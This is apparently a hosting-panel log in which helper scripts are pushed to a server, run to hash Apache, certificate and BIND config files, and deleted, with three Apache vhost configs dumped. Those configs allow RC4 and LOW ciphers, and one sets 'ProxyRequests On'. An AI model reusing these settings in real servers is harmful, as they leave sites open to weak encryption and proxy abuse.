bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-11-27 13:20:09: 

PUT: /tmp/pkp458900

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-11-27 13:20:09: 

chmod 755 /tmp/pkp458900; /tmp/pkp458900; rm /tmp/pkp458900

2025-11-27 13:20:09: 


status=ok


2025-11-27 13:20:09: 

PUT: /tmp/pkp432155

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:20:09: 

chmod 755 /tmp/pkp432155; /tmp/pkp432155; rm /tmp/pkp432155

2025-11-27 13:20:09: 
2025-11-27 13:20:09: 

PUT: /tmp/pkp540697

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/kjvdictionary_store_org.conf')
    show_file('/etc/apache2/sites-available/pjy_eggshell_us.conf')
    show_file('/etc/apache2/sites-available/pjy_city_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:20:09: 

chmod 755 /tmp/pkp540697; /tmp/pkp540697; rm /tmp/pkp540697

2025-11-27 13:20:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/kjvdictionary_store_org.conf	521

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_eggshell_us.conf	1750
<VirtualHost *:80>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    DirectoryIndex	index.html index.htm index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9514/
        ProxyPassReverse	ws://localhost:9514/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9514/
        ProxyPassReverse	http://localhost:9514/
    </Location>
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_city_us.conf	1138

<VirtualHost *:80>
    ServerName	city.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_city
    <Directory /var/www/pjy_city>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/city_access.log combined
    ErrorLog	/var/log/apache2/pjy/city_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	city.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt
    DocumentRoot	/var/www/pjy_city
    <Directory /var/www/pjy_city>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/city_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/city_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 0bd3dd2627d170ec9a410582f882d78e
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= d74b630863e2e28921691dd981b95809
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= bfc13a47ba2cb7eb85974ef258005cd6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= f8f473dab8edcf6a27fad719dd33754a
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= e8acbae52ee6a6765272ee0ba4abdc96
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= d46ead59c1c57938d17f3471cf098c01
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 36d5ac9d7d8eb03e759bcf8f8a2b813f
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 3d5dc1bcfa9c0cec3b16af3076a6ea61
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 69454dedbff1b72b94ed9919a41770e6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= f8b0f22797df53674558935069440c30
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= f4314725714b50baf4294e40e36c5b64
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf


2025-11-27 13:20:09: Establishing a connection
2025-11-27 13:20:10: 

PUT: /tmp/pkp852504

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-27 13:20:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp852504; rm /tmp/pkp852504'

2025-11-27 13:20:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
